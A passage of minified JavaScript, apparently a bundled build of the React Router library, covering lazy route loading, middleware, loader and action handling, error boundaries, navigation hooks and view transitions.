h=cu(d,i,[e||"_","patch",String(u?.length||"0")],s);u.push(...h)}if(c&&m.length>0)for(let h=0;h<m.length;h++){let{existingRoute:p,newRoute:x}=m[h],g=p,[y]=cu([x],i,[],{},!0);Object.assign(g,{element:y.element?y.element:g.element,errorElement:y.errorElement?y.errorElement:g.errorElement,hydrateFallbackElement:y.hydrateFallbackElement?y.hydrateFallbackElement:g.hydrateFallbackElement})}}function hE(e,t){return"id"in e&&"id"in t&&e.id===t.id?!0:e.index===t.index&&e.path===t.path&&e.caseSensitive===t.caseSensitive?(!e.children||e.children.length===0)&&(!t.children||t.children.length===0)?!0:e.children.every((n,s)=>t.children?.some(i=>hE(n,i))):!1}var rC=new WeakMap,mE=({key:e,route:t,manifest:n,mapRouteProperties:s})=>{let i=n[t.id];if(ft(i,"No route found in manifest"),!i.lazy||typeof i.lazy!="object")return;let c=i.lazy[e];if(!c)return;let u=rC.get(i);u||(u={},rC.set(i,u));let d=u[e];if(d)return d;let m=(async()=>{let h=HD(e),x=i[e]!==void 0&&e!=="hasErrorBoundary";if(h)gn(!h,"Route property "+e+" is not a supported lazy route property. This property will be ignored."),u[e]=Promise.resolve();else if(x)gn(!1,`Route "${i.id}" has a static property "${e}" defined. The lazy property will be ignored.`);else{let g=await c();g!=null&&(Object.assign(i,{[e]:g}),Object.assign(i,s(i)))}typeof i.lazy=="object"&&(i.lazy[e]=void 0,Object.values(i.lazy).every(g=>g===void 0)&&(i.lazy=void 0))})();return u[e]=m,m},iC=new WeakMap;function NR(e,t,n,s,i){let c=n[e.id];if(ft(c,"No route found in manifest"),!e.lazy)return{lazyRoutePromise:void 0,lazyHandlerPromise:void 0};if(typeof e.lazy=="function"){let p=iC.get(c);if(p)return{lazyRoutePromise:p,lazyHandlerPromise:p};let x=(async()=>{ft(typeof e.lazy=="function","No lazy route function found");let g=await e.lazy(),y={};for(let w in g){let S=g[w];if(S===void 0)continue;let N=$D(w),E=c[w]!==void 0&&w!=="hasErrorBoundary";N?gn(!N,"Route property "+w+" is not a supported property to be returned from a lazy route function. This property will be ignored."):E?gn(!E,`Route "${c.id}" has a static property "${w}" defined but its lazy function is also returning a value for this property. The lazy route property "${w}" will be ignored.`):y[w]=S}Object.assign(c,y),Object.assign(c,{...s(c),lazy:void 0})})();return iC.set(c,x),x.catch(()=>{}),{lazyRoutePromise:x,lazyHandlerPromise:x}}let u=Object.keys(e.lazy),d=[],m;for(let p of u){if(i&&i.includes(p))continue;let x=mE({key:p,route:e,manifest:n,mapRouteProperties:s});x&&(d.push(x),p===t&&(m=x))}let h=d.length>0?Promise.all(d).then(()=>{}):void 0;return h?.catch(()=>{}),m?.catch(()=>{}),{lazyRoutePromise:h,lazyHandlerPromise:m}}async function oC(e){let t=e.matches.filter(i=>i.shouldLoad),n={};return(await Promise.all(t.map(i=>i.resolve()))).forEach((i,c)=>{n[t[c].route.id]=i}),n}async function ER(e){return e.matches.some(t=>t.route.middleware)?pE(e,()=>oC(e)):oC(e)}function pE(e,t){return jR(e,t,s=>s,MR,n);function n(s,i,c){if(c)return Promise.resolve(Object.assign(c.value,{[i]:{type:"error",result:s}}));{let{matches:u}=e,d=Math.min(Math.max(u.findIndex(h=>h.route.id===i),0),Math.max(u.findIndex(h=>h.unstable_shouldCallHandler()),0)),m=ri(u,u[d].route.id).route.id;return Promise.resolve({[m]:{type:"error",result:s}})}}}async function jR(e,t,n,s,i){let{matches:c,request:u,params:d,context:m}=e,h=c.flatMap(x=>x.route.middleware?x.route.middleware.map(g=>[x.route.id,g]):[]);return await xE({request:u,params:d,context:m},h,t,n,s,i)}async function xE(e,t,n,s,i,c,u=0){let{request:d}=e;if(d.signal.aborted)throw d.signal.reason??new Error(`Request aborted: ${d.method} ${d.url}`);let m=t[u];if(!m)return await n();let[h,p]=m,x,g=async()=>{if(x)throw new Error("You may only call `next()` once per middleware");try{return x={value:await xE(e,t,n,s,i,c,u+1)},x.value}catch(y){return x={value:await c(y,h,x)},x.value}};try{let y=await p(e,g),w=y!=null?s(y):void 0;return i(w)?w:x?w??x.value:(x={value:await g()},x.value)}catch(y){return await c(y,h,x)}}function gE(e,t,n,s,i){let c=mE({key:"middleware",route:s.route,manifest:t,mapRouteProperties:e}),u=NR(s.route,va(n.method)?"action":"loader",t,e,i);return{middleware:c,route:u.lazyRoutePromise,handler:u.lazyHandlerPromise}}function ug(e,t,n,s,i,c,u,d=null){let m=!1,h=gE(e,t,n,s,i);return{...s,_lazyPromises:h,shouldLoad:u,unstable_shouldRevalidateArgs:d,unstable_shouldCallHandler(p){return m=!0,d?typeof p=="boolean"?z0(s,{...d,defaultShouldRevalidate:p}):z0(s,d):u},resolve(p){let{lazy:x,loader:g,middleware:y}=s.route,w=m||u||p&&!va(n.method)&&(x||g),S=y&&y.length>0&&!g&&!x;return w&&!S?TR({request:n,match:s,lazyHandlerPromise:h?.handler,lazyRoutePromise:h?.route,handlerOverride:p,scopedContext:c}):Promise.resolve({type:"data",result:void 0})}}}function yl(e,t,n,s,i,c,u,d=null){return s.map(m=>m.route.id!==i.route.id?{...m,shouldLoad:!1,unstable_shouldRevalidateArgs:d,unstable_shouldCallHandler:()=>!1,_lazyPromises:gE(e,t,n,m,c),resolve:()=>Promise.resolve({type:"data",result:void 0})}:ug(e,t,n,m,c,u,!0,d))}async function AR(e,t,n,s,i,c){n.some(h=>h._lazyPromises?.middleware)&&await Promise.all(n.map(h=>h._lazyPromises?.middleware));let u={request:t,params:n[0].params,context:i,matches:n},m=await e({...u,fetcherKey:s,runClientMiddleware:h=>{let p=u;return pE(p,()=>h({...p,fetcherKey:s,runClientMiddleware:()=>{throw new Error("Cannot call `runClientMiddleware()` from within an `runClientMiddleware` handler")}}))}});try{await Promise.all(n.flatMap(h=>[h._lazyPromises?.handler,h._lazyPromises?.route]))}catch{}return m}async function TR({request:e,match:t,lazyHandlerPromise:n,lazyRoutePromise:s,handlerOverride:i,scopedContext:c}){let u,d,m=va(e.method),h=m?"action":"loader",p=x=>{let g,y=new Promise((N,T)=>g=T);d=()=>g(),e.signal.addEventListener("abort",d);let w=N=>typeof x!="function"?Promise.reject(new Error(`You cannot call the handler for a route which defines a boolean "${h}" [routeId: ${t.route.id}]`)):x({request:e,params:t.params,context:c},...N!==void 0?[N]:[]),S=(async()=>{try{return{type:"data",result:await(i?i(T=>w(T)):w())}}catch(N){return{type:"error",result:N}}})();return Promise.race([S,y])};try{let x=m?t.route.action:t.route.loader;if(n||s)if(x){let g,[y]=await Promise.all([p(x).catch(w=>{g=w}),n,s]);if(g!==void 0)throw g;u=y}else{await n;let g=m?t.route.action:t.route.loader;if(g)[u]=await Promise.all([p(g),s]);else if(h==="action"){let y=new URL(e.url),w=y.pathname+y.search;throw ts(405,{method:e.method,pathname:w,routeId:t.route.id})}else return{type:"data",result:void 0}}else if(x)u=await p(x);else{let g=new URL(e.url),y=g.pathname+g.search;throw ts(404,{pathname:y})}}catch(x){return{type:"error",result:x}}finally{d&&e.signal.removeEventListener("abort",d)}return u}async function DR(e){let t=e.headers.get("Content-Type");return t&&/\bapplication\/json\b/.test(t)?e.body==null?null:e.json():e.text()}async function RR(e){let{result:t,type:n}=e;if(yE(t)){let s;try{s=await DR(t)}catch(i){return{type:"error",error:i}}return n==="error"?{type:"error",error:new P0(t.status,t.statusText,s),statusCode:t.status,headers:t.headers}:{type:"data",data:s,statusCode:t.status,headers:t.headers}}return n==="error"?hC(t)?t.data instanceof Error?{type:"error",error:t.data,statusCode:t.init?.status,headers:t.init?.headers?new Headers(t.init.headers):void 0}:{type:"error",error:new P0(t.init?.status||500,void 0,t.data),statusCode:uu(t)?t.status:void 0,headers:t.init?.headers?new Headers(t.init.headers):void 0}:{type:"error",error:t,statusCode:uu(t)?t.status:void 0}:hC(t)?{type:"data",data:t.data,statusCode:t.init?.status,headers:t.init?.headers?new Headers(t.init.headers):void 0}:{type:"data",data:t}}function _R(e,t,n,s,i){let c=e.headers.get("Location");if(ft(c,"Redirects returned/thrown from loaders/actions must have a Location header"),!bv(c)){let u=s.slice(0,s.findIndex(d=>d.route.id===n)+1);c=lg(new URL(t.url),u,i,c),e.headers.set("Location",c)}return e}function lC(e,t,n){if(bv(e)){let s=e,i=s.startsWith("//")?new URL(t.protocol+s):new URL(s),c=ss(i.pathname,n)!=null;if(i.origin===t.origin&&c)return i.pathname+i.search+i.hash}return e}function il(e,t,n,s){let i=e.createURL(vE(t)).toString(),c={signal:n};if(s&&va(s.formMethod)){let{formMethod:u,formEncType:d}=s;c.method=u.toUpperCase(),d==="application/json"?(c.headers=new Headers({"Content-Type":d}),c.body=JSON.stringify(s.json)):d==="text/plain"?c.body=s.text:d==="application/x-www-form-urlencoded"&&s.formData?c.body=dg(s.formData):c.body=s.formData}return new Request(i,c)}function dg(e){let t=new URLSearchParams;for(let[n,s]of e.entries())t.append(n,typeof s=="string"?s:s.name);return t}function cC(e){let t=new FormData;for(let[n,s]of e.entries())t.append(n,s);return t}function kR(e,t,n,s=!1,i=!1){let c={},u=null,d,m=!1,h={},p=n&&Ba(n[1])?n[1].error:void 0;return e.forEach(x=>{if(!(x.route.id in t))return;let g=x.route.id,y=t[g];if(ft(!$i(y),"Cannot handle redirect results in processLoaderData"),Ba(y)){let w=y.error;if(p!==void 0&&(w=p,p=void 0),u=u||{},i)u[g]=w;else{let S=ri(e,g);u[S.route.id]==null&&(u[S.route.id]=w)}s||(c[g]=fE),m||(m=!0,d=uu(y.error)?y.error.status:500),y.headers&&(h[g]=y.headers)}else c[g]=y.data,y.statusCode&&y.statusCode!==200&&!m&&(d=y.statusCode),y.headers&&(h[g]=y.headers)}),p!==void 0&&n&&(u={[n[0]]:p},n[2]&&(c[n[2]]=void 0)),{loaderData:c,errors:u,statusCode:d||200,loaderHeaders:h}}function uC(e,t,n,s,i,c){let{loaderData:u,errors:d}=kR(t,n,s);return i.filter(m=>!m.matches||m.matches.some(h=>h.shouldLoad)).forEach(m=>{let{key:h,match:p,controller:x}=m;if(x&&x.signal.aborted)return;let g=c[h];if(ft(g,"Did not find corresponding fetcher result"),Ba(g)){let y=ri(e.matches,p?.route.id);d&&d[y.route.id]||(d={...d,[y.route.id]:g.error}),e.fetchers.delete(h)}else if($i(g))ft(!1,"Unhandled fetcher revalidation redirect");else{let y=br(g.data);e.fetchers.set(h,y)}}),{loaderData:u,errors:d}}function dC(e,t,n,s){let i=Object.entries(t).filter(([,c])=>c!==fE).reduce((c,[u,d])=>(c[u]=d,c),{});for(let c of n){let u=c.route.id;if(!t.hasOwnProperty(u)&&e.hasOwnProperty(u)&&c.route.loader&&(i[u]=e[u]),s&&s.hasOwnProperty(u))break}return i}function fC(e){return e?Ba(e[1])?{actionData:{}}:{actionData:{[e[0]]:e[1].data}}:{}}function ri(e,t){return(t?e.slice(0,e.findIndex(s=>s.route.id===t)+1):[...e]).reverse().find(s=>s.route.hasErrorBoundary===!0)||e[0]}function uf(e){let t=e.length===1?e[0]:e.find(n=>n.index||!n.path||n.path==="/")||{id:"__shim-error-route__"};return{matches:[{params:{},pathname:"",pathnameBase:"",route:t}],route:t}}function ts(e,{pathname:t,routeId:n,method:s,type:i,message:c}={}){let u="Unknown Server Error",d="Unknown @remix-run/router error";return e===400?(u="Bad Request",s&&t&&n?d=`You made a ${s} request to "${t}" but did not provide a \`loader\` for route "${n}", so there is no way to handle the request.`:i==="invalid-body"&&(d="Unable to encode submission body")):e===403?(u="Forbidden",d=`Route "${n}" does not match URL "${t}"`):e===404?(u="Not Found",d=`No route matches URL "${t}"`):e===405&&(u="Method Not Allowed",s&&t&&n?d=`You made a ${s.toUpperCase()} request to "${t}" but did not provide an \`action\` for route "${n}", so there is no way to handle the request.`:s&&(d=`Invalid request method "${s.toUpperCase()}"`)),new P0(e||500,u,new Error(d),!0)}function df(e){let t=Object.entries(e);for(let n=t.length-1;n>=0;n--){let[s,i]=t[n];if($i(i))return{key:s,result:i}}}function vE(e){let t=typeof e=="string"?gi(e):e;return ui({...t,hash:""})}function BR(e,t){return e.pathname!==t.pathname||e.search!==t.search?!1:e.hash===""?t.hash!=="":e.hash===t.hash?!0:t.hash!==""}function MR(e){return e!=null&&typeof e=="object"&&Object.entries(e).every(([t,n])=>typeof t=="string"&&FR(n))}function FR(e){return e!=null&&typeof e=="object"&&"type"in e&&"result"in e&&(e.type==="data"||e.type==="error")}function OR(e){return yE(e.result)&&pR.has(e.result.status)}function Ba(e){return e.type==="error"}function $i(e){return(e&&e.type)==="redirect"}function hC(e){return typeof e=="object"&&e!=null&&"type"in e&&"data"in e&&"init"in e&&e.type==="DataWithResponseInit"}function yE(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.headers=="object"&&typeof e.body<"u"}function LR(e){return mR.has(e.toUpperCase())}function va(e){return fR.has(e.toUpperCase())}function Cv(e){return new URLSearchParams(e).getAll("index").some(t=>t==="")}function Vf(e,t){let n=typeof t=="string"?gi(t).search:t.search;if(e[e.length-1].route.index&&Cv(n||""))return e[e.length-1];let s=cE(e);return s[s.length-1]}function mC(e){let{formMethod:t,formAction:n,formEncType:s,text:i,formData:c,json:u}=e;if(!(!t||!n||!s)){if(i!=null)return{formMethod:t,formAction:n,formEncType:s,formData:void 0,json:void 0,text:i};if(c!=null)return{formMethod:t,formAction:n,formEncType:s,formData:c,json:void 0,text:void 0};if(u!==void 0)return{formMethod:t,formAction:n,formEncType:s,formData:void 0,json:u,text:void 0}}}function px(e,t){return t?{state:"loading",location:e,formMethod:t.formMethod,formAction:t.formAction,formEncType:t.formEncType,formData:t.formData,json:t.json,text:t.text}:{state:"loading",location:e,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0}}function PR(e,t){return{state:"submitting",location:e,formMethod:t.formMethod,formAction:t.formAction,formEncType:t.formEncType,formData:t.formData,json:t.json,text:t.text}}function Pc(e,t){return e?{state:"loading",formMethod:e.formMethod,formAction:e.formAction,formEncType:e.formEncType,formData:e.formData,json:e.json,text:e.text,data:t}:{state:"loading",formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0,data:t}}function zR(e,t){return{state:"submitting",formMethod:e.formMethod,formAction:e.formAction,formEncType:e.formEncType,formData:e.formData,json:e.json,text:e.text,data:t?t.data:void 0}}function br(e){return{state:"idle",formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0,data:e}}function VR(e,t){try{let n=e.sessionStorage.getItem(dE);if(n){let s=JSON.parse(n);for(let[i,c]of Object.entries(s||{}))c&&Array.isArray(c)&&t.set(i,new Set(c||[]))}}catch{}}function UR(e,t){if(t.size>0){let n={};for(let[s,i]of t)n[s]=[...i];try{e.sessionStorage.setItem(dE,JSON.stringify(n))}catch(s){gn(!1,`Failed to save applied view transitions in sessionStorage (${s}).`)}}}function IR(){let e,t,n=new Promise((s,i)=>{e=async c=>{s(c);try{await n}catch{}},t=async c=>{i(c);try{await n}catch{}}});return{promise:n,resolve:e,reject:t}}var po=C.createContext(null);po.displayName="DataRouter";var Tu=C.createContext(null);Tu.displayName="DataRouterState";C.createContext(!1);var Sv=C.createContext({isTransitioning:!1});Sv.displayName="ViewTransition";var bE=C.createContext(new Map);bE.displayName="Fetchers";var HR=C.createContext(null);HR.displayName="Await";var Cs=C.createContext(null);Cs.displayName="Navigation";var hh=C.createContext(null);hh.displayName="Location";var rs=C.createContext({outlet:null,matches:[],isDataRoute:!1});rs.displayName="Route";var Nv=C.createContext(null);Nv.displayName="RouteError";function qR(e,{relative:t}={}){ft(Ol(),"useHref() may be used only in the context of a <Router> component.");let{basename:n,navigator:s}=C.useContext(Cs),{hash:i,pathname:c,search:u}=Du(e,{relative:t}),d=c;return n!=="/"&&(d=c==="/"?n:Vs([n,c])),s.createHref({pathname:d,search:u,hash:i})}function Ol(){return C.useContext(hh)!=null}function Ca(){return ft(Ol(),"useLocation() may be used only in the context of a <Router> component."),C.useContext(hh).location}var wE="You should call navigate() in a React.useEffect(), not when your component is first rendered.";function CE(e){C.useContext(Cs).static||C.useLayoutEffect(e)}function la(){let{isDataRoute:e}=C.useContext(rs);return e?i_():$R()}function $R(){ft(Ol(),"useNavigate() may be used only in the context of a <Router> component.");let e=C.useContext(po),{basename:t,navigator:n}=C.useContext(Cs),{matches:s}=C.useContext(rs),{pathname:i}=Ca(),c=JSON.stringify(dh(s)),u=C.useRef(!1);return CE(()=>{u.current=!0}),C.useCallback((m,h={})=>{if(gn(u.current,wE),!u.current)return;if(typeof m=="number"){n.go(m);return}let p=fh(m,JSON.parse(c),i,h.relative==="path");e==null&&t!=="/"&&(p.pathname=p.pathname==="/"?t:Vs([t,p.pathname])),(h.replace?n.replace:n.push)(p,h.state,h)},[t,n,c,i,e])}var GR=C.createContext(null);function YR(e){let t=C.useContext(rs).outlet;return C.useMemo(()=>t&&C.createElement(GR.Provider,{value:e},t),[t,e])}function KR(){let{matches:e}=C.useContext(rs),t=e[e.length-1];return t?t.params:{}}function Du(e,{relative:t}={}){let{matches:n}=C.useContext(rs),{pathname:s}=Ca(),i=JSON.stringify(dh(n));return C.useMemo(()=>fh(e,JSON.parse(i),s,t==="path"),[e,i,s,t])}function XR(e,t,n,s,i){ft(Ol(),"useRoutes() may be used only in the context of a <Router> component.");let{navigator:c}=C.useContext(Cs),{matches:u}=C.useContext(rs),d=u[u.length-1],m=d?d.params:{},h=d?d.pathname:"/",p=d?d.pathnameBase:"/",x=d&&d.route;{let E=x&&x.path||"";SE(h,!x||E.endsWith("*")||E.endsWith("*?"),`You rendered descendant <Routes> (or called \`useRoutes()\`) at "${h}" (under <Route path="${E}">) but the parent route path has no trailing "*". This means if you navigate deeper, the parent won't match anymore and therefore the child routes will never render.

Please change the parent <Route path="${E}"> to <Route path="${E==="/"?"*":`${E}/*`}">.`)}let g=Ca(),y;y=g;let w=y.pathname||"/",S=w;if(p!=="/"){let E=p.replace(/^\//,"").split("/");S="/"+w.replace(/^\//,"").split("/").slice(E.length).join("/")}let N=si(e,{pathname:S});return gn(x||N!=null,`No routes matched location "${y.pathname}${y.search}${y.hash}" `),gn(N==null||N[N.length-1].route.element!==void 0||N[N.length-1].route.Component!==void 0||N[N.length-1].route.lazy!==void 0,`Matched leaf route at location "${y.pathname}${y.search}${y.hash}" does not have an element or Component. This means it will render an <Outlet /> with a null value by default resulting in an "empty" page.`),e_(N&&N.map(E=>Object.assign({},E,{params:Object.assign({},m,E.params),pathname:Vs([p,c.encodeLocation?c.encodeLocation(E.pathname.replace(/\?/g,"%3F").replace(/#/g,"%23")).pathname:E.pathname]),pathnameBase:E.pathnameBase==="/"?p:Vs([p,c.encodeLocation?c.encodeLocation(E.pathnameBase.replace(/\?/g,"%3F").replace(/#/g,"%23")).pathname:E.pathnameBase])})),u,n,s,i)}function WR(){let e=r_(),t=uu(e)?`${e.status} ${e.statusText}`:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,s="rgba(200,200,200, 0.5)",i={padding:"0.5rem",backgroundColor:s},c={padding:"2px 4px",backgroundColor:s},u=null;return console.error("Error handled by React Router default ErrorBoundary:",e),u=C.createElement(C.Fragment,null,C.createElement("p",null,"💿 Hey developer 👋"),C.createElement("p",null,"You can provide a way better UX than this when your app throws errors by providing your own ",C.createElement("code",{style:c},"ErrorBoundary")," or"," ",C.createElement("code",{style:c},"errorElement")," prop on your route.")),C.createElement(C.Fragment,null,C.createElement("h2",null,"Unexpected Application Error!"),C.createElement("h3",{style:{fontStyle:"italic"}},t),n?C.createElement("pre",{style:i},n):null,u)}var QR=C.createElement(WR,null),ZR=class extends C.Component{constructor(e){super(e),this.state={location:e.location,revalidation:e.revalidation,error:e.error}}static getDerivedStateFromError(e){return{error:e}}static getDerivedStateFromProps(e,t){return t.location!==e.location||t.revalidation!=="idle"&&e.revalidation==="idle"?{error:e.error,location:e.location,revalidation:e.revalidation}:{error:e.error!==void 0?e.error:t.error,location:t.location,revalidation:e.revalidation||t.revalidation}}componentDidCatch(e,t){this.props.unstable_onError?this.props.unstable_onError(e,t):console.error("React Router caught the following error during render",e)}render(){return this.state.error!==void 0?C.createElement(rs.Provider,{value:this.props.routeContext},C.createElement(Nv.Provider,{value:this.state.error,children:this.props.component})):this.props.children}};function JR({routeContext:e,match:t,children:n}){let s=C.useContext(po);return s&&s.static&&s.staticContext&&(t.route.errorElement||t.route.ErrorBoundary)&&(s.staticContext._deepestRenderedBoundaryId=t.route.id),C.createElement(rs.Provider,{value:e},n)}function e_(e,t=[],n=null,s=null,i=null){if(e==null){if(!n)return null;if(n.errors)e=n.matches;else if(t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let c=e,u=n?.errors;if(u!=null){let h=c.findIndex(p=>p.route.id&&u?.[p.route.id]!==void 0);ft(h>=0,`Could not find a matching route for errors on route IDs: ${Object.keys(u).join(",")}`),c=c.slice(0,Math.min(c.length,h+1))}let d=!1,m=-1;if(n)for(let h=0;h<c.length;h++){let p=c[h];if((p.route.HydrateFallback||p.route.hydrateFallbackElement)&&(m=h),p.route.id){let{loaderData:x,errors:g}=n,y=p.route.loader&&!x.hasOwnProperty(p.route.id)&&(!g||g[p.route.id]===void 0);if(p.route.lazy||y){d=!0,m>=0?c=c.slice(0,m+1):c=[c[0]];break}}}return c.reduceRight((h,p,x)=>{let g,y=!1,w=null,S=null;n&&(g=u&&p.route.id?u[p.route.id]:void 0,w=p.route.errorElement||QR,d&&(m<0&&x===0?(SE("route-fallback",!1,"No `HydrateFallback` element provided to render during initial hydration"),y=!0,S=null):m===x&&(y=!0,S=p.route.hydrateFallbackElement||null)));let N=t.concat(c.slice(0,x+1)),T=()=>{let E;return g?E=w:y?E=S:p.route.Component?E=C.createElement(p.route.Component,null):p.route.element?E=p.route.element:E=h,C.createElement(JR,{match:p,routeContext:{outlet:h,matches:N,isDataRoute:n!=null},children:E})};return n&&(p.route.ErrorBoundary||p.route.errorElement||x===0)?C.createElement(ZR,{location:n.location,revalidation:n.revalidation,component:w,error:g,children:T(),routeContext:{outlet:null,matches:N,isDataRoute:!0},unstable_onError:s}):T()},null)}function Ev(e){return`${e} must be used within a data router.  See https://reactrouter.com/en/main/routers/picking-a-router.`}function t_(e){let t=C.useContext(po);return ft(t,Ev(e)),t}function n_(e){let t=C.useContext(Tu);return ft(t,Ev(e)),t}function a_(e){let t=C.useContext(rs);return ft(t,Ev(e)),t}function jv(e){let t=a_(e),n=t.matches[t.matches.length-1];return ft(n.route.id,`${e} can only be used on routes that contain a unique "id"`),n.route.id}function s_(){return jv("useRouteId")}function r_(){let e=C.useContext(Nv),t=n_("useRouteError"),n=jv("useRouteError");return e!==void 0?e:t.errors?.[n]}function i_(){let{router:e}=t_("useNavigate"),t=jv("useNavigate"),n=C.useRef(!1);return CE(()=>{n.current=!0}),C.useCallback(async(i,c={})=>{gn(n.current,wE),n.current&&(typeof i=="number"?e.navigate(i):await e.navigate(i,{fromRouteId:t,...c}))},[e,t])}var pC={};function SE(e,t,n){!t&&!pC[e]&&(pC[e]=!0,gn(!1,n))}var xC={};function gC(e,t){!e&&!xC[t]&&(xC[t]=!0,console.warn(t))}function o_(e){let t={hasErrorBoundary:e.hasErrorBoundary||e.ErrorBoundary!=null||e.errorElement!=null};return e.Component&&(e.element&&gn(!1,"You should not include both `Component` and `element` on your route - `Component` will be used."),Object.assign(t,{element:C.createElement(e.Component),Component:void 0})),e.HydrateFallback&&(e.hydrateFallbackElement&&gn(!1,"You should not include both `HydrateFallback` and `hydrateFallbackElement` on your route - `HydrateFallback` will be used."),Object.assign(t,{hydrateFallbackElement:C.createElement(e.HydrateFallback),HydrateFallback:void 0})),e.ErrorBoundary&&(e.errorElement&&gn(!1,"You should not include both `ErrorBoundary` and `errorElement` on your route - `ErrorBoundary` will be used."),Object.assign(t,{errorElement:C.createElement(e.ErrorBoundary),ErrorBoundary:void 0})),t}var l_=["HydrateFallback","hydrateFallbackElement"],c_=class{constructor(){this.status="pending",this.promise=new Promise((e,t)=>{this.resolve=n=>{this.status==="pending"&&(this.status="resolved",e(n))},this.reject=n=>{this.status==="pending"&&(this.status="rejected",t(n))}})}};function u_({router:e,flushSync:t,unstable_onError:n}){let[s,i]=C.useState(e.state),[c,u]=C.useState(),[d,m]=C.useState({isTransitioning:!1}),[h,p]=C.useState(),[x,g]=C.useState(),[y,w]=C.useState(),S=C.useRef(new Map),N=C.useCallback(R=>{i(D=>(R.errors&&n&&Object.entries(R.errors).forEach(([k,B])=>{D.errors?.[k]!==B&&n(B)}),R))},[n]),T=C.useCallback((R,{deletedFetchers:D,flushSync:k,viewTransitionOpts:B})=>{R.fetchers.forEach((z,U)=>{z.data!==void 0&&S.current.set(U,z.data)}),D.forEach(z=>S.current.delete(z)),gC(k===!1||t!=null,'You provided the `flushSync` option to a router update, but you are not using the `<RouterProvider>` from `react-router/dom` so `ReactDOM.flushSync()` is unavailable.  Please update your app to `import { RouterProvider } from "react-router/dom"` and ensure you have `react-dom` installed as a dependency to use the `flushSync` option.');let I=e.window!=null&&e.window.document!=null&&typeof e.window.document.startViewTransition=="function";if(gC(B==null||I,"You provided the `viewTransition` option to a router update, but you do not appear to be running in a DOM environment as `window.startViewTransition` is not available."),!B||!I){t&&k?t(()=>N(R)):C.startTransition(()=>N(R));return}if(t&&k){t(()=>{x&&(h&&h.resolve(),x.skipTransition()),m({isTransitioning:!0,flushSync:!0,currentLocation:B.currentLocation,nextLocation:B.nextLocation})});let z=e.window.document.startViewTransition(()=>{t(()=>N(R))});z.finished.finally(()=>{t(()=>{p(void 0),g(void 0),u(void 0),m({isTransitioning:!1})})}),t(()=>g(z));return}x?(h&&h.resolve(),x.skipTransition(),w({state:R,currentLocation:B.currentLocation,nextLocation:B.nextLocation})):(u(R),m({isTransitioning:!0,flushSync:!1,currentLocation:B.currentLocation,nextLocation:B.nextLocation}))},[e.window,t,x,h,N]);C.useLayoutEffect(()=>e.subscribe(T),[e,T]),C.useEffect(()=>{d.isTransitioning&&!d.flushSync&&p(new c_)},[d]),C.useEffect(()=>{if(h&&c&&e.window){let R=c,D=h.promise,k=e.window.document.startViewTransition(async()=>{C.startTransition(()=>N(R)),await D});k.finished.finally(()=>{p(void 0),g(void 0),u(void 0),m({isTransitioning:!1})}),g(k)}},[c,h,e.window,N]),C.useEffect(()=>{h&&c&&s.location.key===c.location.key&&h.resolve()},[h,x,s.location,c]),C.useEffect(()=>{!d.isTransitioning&&y&&(u(y.state),m({isTransitioning:!0,flushSync:!1,currentLocation:y.currentLocation,nextLocation:y.nextLocation}),w(void 0))},[d.isTransitioning,y]);let E=C.useMemo(()=>({createHref:e.createHref,encodeLocation:e.encodeLocation,go:R=>e.navigate(R),push:(R,D,k)=>e.navigate(R,{state:D,preventScrollReset:k?.preventScrollReset}),replace:(R,D,k)=>e.navigate(R,{replace:!0,state:D,preventScrollReset:k?.preventScrollReset})}),[e]),A=e.basename||"/",j=C.useMemo(()=>({router:e,navigator:E,static:!1,basename:A,unstable_onError:n}),[e,E,A,n]);return C.createElement(C.Fragment,null,C.createElement(po.Provider,{value:j},C.createElement(Tu.Provider,{value:s},C.createElement(bE.Provider,{value:S.current},C.createElement(Sv.Provider,{value:d},C.createElement(h_,{basename:A,location:s.location,navigationType:s.historyAction,navigator:E},C.createElement(d_,{routes:e.routes,future:e.future,state:s,unstable_onError:n})))))),null)}var d_=C.memo(f_);function f_({routes:e,future:t,state:n,unstable_onError:s}){return XR(e,void 0,n,s,t)}function NE({to:e,replace:t,state:n,relative:s}){ft(Ol(),"<Navigate> may be used only in the context of a <Router> component.");let{static:i}=C.useContext(Cs);gn(!i,"<Navigate> must not be used on the initial render in a <StaticRouter>. This is a no-op, but you should modify your code so the <Navigate> is only ever rendered in response to some user interaction or state change.");let{matches:c}=C.useContext(rs),{pathname:u}=Ca(),d=la(),m=fh(e,dh(c),u,s==="path"),h=JSON.stringify(m);return C.useEffect(()=>{d(JSON.parse(h),{replace:t,state:n,relative:s})},[d,h,s,t,n]),null}function Ru(e){return YR(e.context)}function h_({basename:e="/",children:t=null,location:n,navigationType:s="POP",navigator:i,static:c=!1}){ft(!Ol(),"You cannot render a <Router> inside another <Router>. You should never have more than one in your app.");let u=e.replace(/^\/*/,"/"),d=C.useMemo(()=>({basename:u,navigator:i,static:c,future:{}}),[u,i,c]);typeof n=="string"&&(n=gi(n));let{pathname:m="/",search:h="",hash:p="",state:x=null,key:g="default"}=n,y=C.useMemo(()=>{let w=ss(m,u);return w==null?null:{location:{pathname:w,search:h,hash:p,state:x,key:g},navigationType:s}},[u,m,h,p,x,g,s]);return gn(y!=null,`<Router basename="${u}"> is not able to match the URL "${m}${h}${p}" because it does not start with the basename, so the <Router> won't render anything.`),y==null?null:C.createElement(Cs.Provider,{value:d},C.createElement(hh.Provider,{children:t,value:y}))}var Uf="get",If="application/x-www-form-urlencoded";function mh(e){return e!=null&&typeof e.tagName=="string"}function m_(e){return mh(e)&&e.tagName.toLowerCase()==="button"}function p_(e){return mh(e)&&e.tagName.toLowerCase()==="form"}function x_(e){return mh(e)&&e.tagName.toLowerCase()==="input"}function g_(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function v_(e,t){return e.button===0&&(!t||t==="_self")&&!g_(e)}var ff=null;function y_(){if(ff===null)try{new FormData(document.createElement("form"),0),ff=!1}catch{ff=!0}return ff}var b_=new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);function xx(e){return e!=null&&!b_.has(e)?(gn(!1,`"${e}" is not a valid \`encType\` for \`<Form>\`/\`<fetcher.Form>\` and will default to "${If}"`),null):e}function w_(e,t){let n,s,i,c,u;if(p_(e)){let 